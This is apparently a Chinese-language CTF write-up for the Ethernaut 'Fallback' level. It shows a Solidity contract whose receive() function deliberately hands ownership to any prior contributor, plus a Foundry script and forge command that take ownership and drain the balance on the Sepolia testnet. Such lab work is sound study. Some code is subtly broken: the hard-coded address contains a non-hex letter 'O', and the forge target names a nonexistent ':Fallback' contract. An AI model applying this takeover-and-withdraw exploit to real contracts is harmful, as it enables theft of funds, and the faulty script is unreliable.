合约代码：`Fallback.sol`

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {
    mapping(address => uint256) public contributions;
    address public owner;

    constructor() {
        owner = msg.sender;
        contributions[msg.sender] = 1000 * (1 ether);
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "caller is not the owner");
        _;
    }

    function contribute() public payable {
        require(msg.value < 0.001 ether);
        contributions[msg.sender] += msg.value;
        if (contributions[msg.sender] > contributions[owner]) {
            owner = msg.sender;
        }
    }

    function getContribution() public view returns (uint256) {
        return contributions[msg.sender];
    }

    function withdraw() public onlyOwner {
        payable(owner).transfer(address(this).balance);
    }

    receive() external payable {
        require(msg.value > 0 && contributions[msg.sender] > 0);
        owner = msg.sender;
    }
}
```

目标：

1. 获取合约的所有权。
2. 将余额减少到0。

难点是获得合约的所有权，意味着不能攻击合约，需要调用合约内的函数。

完成第一个目标需要将owner设置为自己，通过触发receive函数来实现，为满足receive函数要求先调用contribute函数。

完成第二个目标可以通过调用withdraw函数实现，前提是成为owner。

脚本代码：`Fallback.s.sol`

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Script} from "forge-std/Script.sol";
import {Fallback} from "../src/Fallback.sol";

contract MyScript is Script {
    Fallback level1 = Fallback(payable(0xe79917OE93146b4E0b37fd683844ADA8a5b5AcF2)); //将l1绑定到特定地址

    function run() external {
        vm.startBroadcast(); //开始广播交易

        //调用函数
        level1.contribute{value: 1 wei}(); //调用contribute()发送1 wei，使自己有贡献记录
        level1.getContribution(); //返回贡献值
        address(level1).call{value: 1 wei}(""); //触发receive函数
        level1.owner();//查看owner地址
        level1.withdraw();

        vm.stopBroadcast(); //停止广播交易
    }
}

```

执行脚本：

```
forge script script/Fallback.s.sol :Fallback \
--rpc-url https://sepolia.infura.io/v3/xxx \
--private-key xxx \
--broadcast
```